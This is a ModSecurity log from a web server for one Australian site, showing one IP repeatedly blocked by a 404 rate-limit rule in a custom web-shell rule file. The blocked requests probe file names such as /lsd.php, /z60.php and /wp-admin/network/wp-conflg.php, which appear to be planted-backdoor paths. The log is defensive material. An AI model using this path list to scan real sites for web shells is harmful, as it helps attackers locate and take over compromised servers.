[Fri Feb 13 03:06:59.106747 2026] [:error] [pid 37510:tid 37521] [client 20.234.103.39:6431] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/fv.php"] [unique_id "aY4k08UrqDPNSf1wYBW7xgAAAYU"]
[Fri Feb 13 03:06:59.621613 2026] [:error] [pid 23410:tid 23412] [client 20.234.103.39:6094] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/fv.php"] [unique_id "aY4k0xXZP6NFBacuW_1aOgAAAIA"]
[Fri Feb 13 03:07:00.123017 2026] [:error] [pid 37510:tid 37519] [client 20.234.103.39:6501] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/fv.php"] [unique_id "aY4k1MUrqDPNSf1wYBW7xwAAAYM"]
[Fri Feb 13 03:07:00.633116 2026] [:error] [pid 37510:tid 37530] [client 20.234.103.39:6421] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/fv.php"] [unique_id "aY4k1MUrqDPNSf1wYBW7yAAAAY4"]
[Fri Feb 13 03:07:01.133801 2026] [:error] [pid 23410:tid 23421] [client 20.234.103.39:6446] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/file.php"] [unique_id "aY4k1RXZP6NFBacuW_1aRQAAAIk"]
[Fri Feb 13 03:07:01.645276 2026] [:error] [pid 23410:tid 23412] [client 20.234.103.39:6400] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/file.php"] [unique_id "aY4k1RXZP6NFBacuW_1aSAAAAIA"]
[Fri Feb 13 03:07:02.145850 2026] [:error] [pid 23410:tid 23419] [client 20.234.103.39:6524] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/file.php"] [unique_id "aY4k1hXZP6NFBacuW_1aSgAAAIc"]
[Fri Feb 13 03:07:02.660726 2026] [:error] [pid 23410:tid 23426] [client 20.234.103.39:6416] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/file.php"] [unique_id "aY4k1hXZP6NFBacuW_1aTQAAAI4"]
[Fri Feb 13 03:07:03.163253 2026] [:error] [pid 37510:tid 37534] [client 20.234.103.39:6489] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/lsd.php"] [unique_id "aY4k18UrqDPNSf1wYBW7ywAAAZI"]
[Fri Feb 13 03:07:03.678092 2026] [:error] [pid 37511:tid 37581] [client 20.234.103.39:6111] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/lsd.php"] [unique_id "aY4k1-8EBJ86uZdxpA2h1QAAAEE"]
[Fri Feb 13 03:07:04.187261 2026] [:error] [pid 23410:tid 23432] [client 20.234.103.39:6434] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/lsd.php"] [unique_id "aY4k2BXZP6NFBacuW_1aUQAAAJQ"]
[Fri Feb 13 03:07:04.696241 2026] [:error] [pid 37511:tid 37598] [client 20.234.103.39:6510] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/lsd.php"] [unique_id "aY4k2O8EBJ86uZdxpA2h2QAAAFE"]
[Fri Feb 13 03:07:05.197474 2026] [:error] [pid 37856:tid 37867] [client 20.234.103.39:6107] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/as.php"] [unique_id "aY4k2ZUcWP4qWM7hWsky6AAAAMg"]
[Fri Feb 13 03:07:05.697174 2026] [:error] [pid 23410:tid 23436] [client 20.234.103.39:6428] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/as.php"] [unique_id "aY4k2RXZP6NFBacuW_1aVgAAAJg"]
[Fri Feb 13 03:07:06.200105 2026] [:error] [pid 37856:tid 37868] [client 20.234.103.39:6419] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/as.php"] [unique_id "aY4k2pUcWP4qWM7hWsky6gAAAMk"]
[Fri Feb 13 03:07:06.702144 2026] [:error] [pid 23410:tid 23428] [client 20.234.103.39:6411] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/as.php"] [unique_id "aY4k2hXZP6NFBacuW_1aWAAAAJA"]
[Fri Feb 13 03:07:07.203674 2026] [:error] [pid 37511:tid 37596] [client 20.234.103.39:6519] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wsd.php"] [unique_id "aY4k2-8EBJ86uZdxpA2h4QAAAE8"]
[Fri Feb 13 03:07:07.712815 2026] [:error] [pid 37856:tid 37873] [client 20.234.103.39:6520] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wsd.php"] [unique_id "aY4k25UcWP4qWM7hWsky8QAAAM4"]
[Fri Feb 13 03:07:08.215001 2026] [:error] [pid 37856:tid 37867] [client 20.234.103.39:6413] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wsd.php"] [unique_id "aY4k3JUcWP4qWM7hWsky8wAAAMg"]
[Fri Feb 13 03:07:08.717311 2026] [:error] [pid 37856:tid 37876] [client 20.234.103.39:6522] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wsd.php"] [unique_id "aY4k3JUcWP4qWM7hWsky9wAAANE"]
[Fri Feb 13 03:07:09.218264 2026] [:error] [pid 37512:tid 37619] [client 20.234.103.39:6468] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/gtc.php"] [unique_id "aY4k3dDe69znS-f6vSZtnwAAAAo"]
[Fri Feb 13 03:07:09.718536 2026] [:error] [pid 37511:tid 37597] [client 20.234.103.39:6437] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/gtc.php"] [unique_id "aY4k3e8EBJ86uZdxpA2h5AAAAFA"]
[Fri Feb 13 03:07:10.219010 2026] [:error] [pid 37856:tid 37864] [client 20.234.103.39:6485] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/gtc.php"] [unique_id "aY4k3pUcWP4qWM7hWsky_QAAAMU"]
[Fri Feb 13 03:07:10.721111 2026] [:error] [pid 23410:tid 23426] [client 20.234.103.39:6526] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/gtc.php"] [unique_id "aY4k3hXZP6NFBacuW_1aXgAAAI4"]
[Fri Feb 13 03:07:11.224663 2026] [:error] [pid 37512:tid 37625] [client 20.234.103.39:6513] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/atx.php"] [unique_id "aY4k39De69znS-f6vSZtogAAAA8"]
[Fri Feb 13 03:07:11.726070 2026] [:error] [pid 23410:tid 23424] [client 20.234.103.39:6469] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/atx.php"] [unique_id "aY4k3xXZP6NFBacuW_1aYQAAAIw"]
[Fri Feb 13 03:07:12.226222 2026] [:error] [pid 37510:tid 37526] [client 20.234.103.39:6404] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/atx.php"] [unique_id "aY4k4MUrqDPNSf1wYBW71wAAAYo"]
[Fri Feb 13 03:07:12.728821 2026] [:error] [pid 23410:tid 23415] [client 20.234.103.39:6518] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/atx.php"] [unique_id "aY4k4BXZP6NFBacuW_1aZQAAAIM"]
[Fri Feb 13 03:07:13.228388 2026] [:error] [pid 23410:tid 23434] [client 20.234.103.39:6493] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/z60.php"] [unique_id "aY4k4RXZP6NFBacuW_1aagAAAJY"]
[Fri Feb 13 03:07:13.728291 2026] [:error] [pid 23410:tid 23431] [client 20.234.103.39:6462] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/z60.php"] [unique_id "aY4k4RXZP6NFBacuW_1abgAAAJM"]
[Fri Feb 13 03:07:14.227976 2026] [:error] [pid 23410:tid 23424] [client 20.234.103.39:6099] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/z60.php"] [unique_id "aY4k4hXZP6NFBacuW_1acgAAAIw"]
[Fri Feb 13 03:07:14.735638 2026] [:error] [pid 37511:tid 37595] [client 20.234.103.39:6502] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/z60.php"] [unique_id "aY4k4u8EBJ86uZdxpA2h6QAAAE4"]
[Fri Feb 13 03:07:15.236024 2026] [:error] [pid 23410:tid 23425] [client 20.234.103.39:6102] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/403.php"] [unique_id "aY4k4xXZP6NFBacuW_1adQAAAI0"]
[Fri Feb 13 03:07:15.736707 2026] [:error] [pid 37512:tid 37612] [client 20.234.103.39:6403] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/403.php"] [unique_id "aY4k49De69znS-f6vSZtqQAAAAQ"]
[Fri Feb 13 03:07:16.239829 2026] [:error] [pid 37512:tid 37611] [client 20.234.103.39:6430] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/403.php"] [unique_id "aY4k5NDe69znS-f6vSZtrAAAAAM"]
[Fri Feb 13 03:07:16.743200 2026] [:error] [pid 37511:tid 37592] [client 20.234.103.39:6471] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/403.php"] [unique_id "aY4k5O8EBJ86uZdxpA2h7gAAAEs"]
[Fri Feb 13 03:07:17.246319 2026] [:error] [pid 37510:tid 37536] [client 20.234.103.39:6082] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/m.php"] [unique_id "aY4k5cUrqDPNSf1wYBW75wAAAZQ"]
[Fri Feb 13 03:07:17.758751 2026] [:error] [pid 37512:tid 37612] [client 20.234.103.39:6456] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/m.php"] [unique_id "aY4k5dDe69znS-f6vSZtsQAAAAQ"]
[Fri Feb 13 03:07:18.262273 2026] [:error] [pid 37512:tid 37619] [client 20.234.103.39:6506] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/m.php"] [unique_id "aY4k5tDe69znS-f6vSZttgAAAAo"]
[Fri Feb 13 03:07:18.763063 2026] [:error] [pid 37856:tid 37873] [client 20.234.103.39:6406] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/m.php"] [unique_id "aY4k5pUcWP4qWM7hWskzBgAAAM4"]
[Fri Feb 13 03:07:19.263230 2026] [:error] [pid 37510:tid 37521] [client 20.234.103.39:6527] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/themes.php"] [unique_id "aY4k58UrqDPNSf1wYBW77QAAAYU"]
[Fri Feb 13 03:07:19.764345 2026] [:error] [pid 37512:tid 37616] [client 20.234.103.39:6429] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/themes.php"] [unique_id "aY4k59De69znS-f6vSZtvAAAAAc"]
[Fri Feb 13 03:07:20.264225 2026] [:error] [pid 23410:tid 23421] [client 20.234.103.39:6420] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/themes.php"] [unique_id "aY4k6BXZP6NFBacuW_1aeAAAAIk"]
[Fri Feb 13 03:07:20.769979 2026] [:error] [pid 23410:tid 23412] [client 20.234.103.39:6507] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/themes.php"] [unique_id "aY4k6BXZP6NFBacuW_1aeQAAAIA"]
[Fri Feb 13 03:07:21.285498 2026] [:error] [pid 37511:tid 37580] [client 20.234.103.39:6458] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-admin/maint/about.php"] [unique_id "aY4k6e8EBJ86uZdxpA2h8gAAAEA"]
[Fri Feb 13 03:07:21.786495 2026] [:error] [pid 23410:tid 23423] [client 20.234.103.39:6086] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-admin/maint/about.php"] [unique_id "aY4k6RXZP6NFBacuW_1afQAAAIs"]
[Fri Feb 13 03:07:22.293480 2026] [:error] [pid 23410:tid 23419] [client 20.234.103.39:6432] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-admin/maint/about.php"] [unique_id "aY4k6hXZP6NFBacuW_1agQAAAIc"]
[Fri Feb 13 03:07:22.794589 2026] [:error] [pid 37510:tid 37527] [client 20.234.103.39:6450] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-admin/maint/about.php"] [unique_id "aY4k6sUrqDPNSf1wYBW77wAAAYs"]
[Fri Feb 13 03:07:23.293615 2026] [:error] [pid 37511:tid 37581] [client 20.234.103.39:6452] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-admin/network/wp-conflg.php"] [unique_id "aY4k6-8EBJ86uZdxpA2h-AAAAEE"]
[Fri Feb 13 03:07:23.792795 2026] [:error] [pid 37511:tid 37592] [client 20.234.103.39:6467] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-admin/network/wp-conflg.php"] [unique_id "aY4k6-8EBJ86uZdxpA2h_AAAAEs"]
[Fri Feb 13 03:07:24.294060 2026] [:error] [pid 37512:tid 37623] [client 20.234.103.39:6515] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-admin/network/wp-conflg.php"] [unique_id "aY4k7NDe69znS-f6vSZtwAAAAA0"]
[Fri Feb 13 03:07:24.795991 2026] [:error] [pid 37511:tid 37583] [client 20.234.103.39:6113] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-admin/network/wp-conflg.php"] [unique_id "aY4k7O8EBJ86uZdxpA2iAQAAAEM"]
[Fri Feb 13 03:07:25.296016 2026] [:error] [pid 37511:tid 37598] [client 20.234.103.39:6091] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/click.php"] [unique_id "aY4k7e8EBJ86uZdxpA2iBQAAAFE"]
[Fri Feb 13 03:07:25.796831 2026] [:error] [pid 23410:tid 23433] [client 20.234.103.39:6433] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/click.php"] [unique_id "aY4k7RXZP6NFBacuW_1aiAAAAJU"]
[Fri Feb 13 03:07:26.298548 2026] [:error] [pid 37511:tid 37581] [client 20.234.103.39:6516] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/click.php"] [unique_id "aY4k7u8EBJ86uZdxpA2iCgAAAEE"]
[Fri Feb 13 03:07:26.802520 2026] [:error] [pid 37512:tid 37630] [client 20.234.103.39:6438] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/click.php"] [unique_id "aY4k7tDe69znS-f6vSZtxQAAABM"]
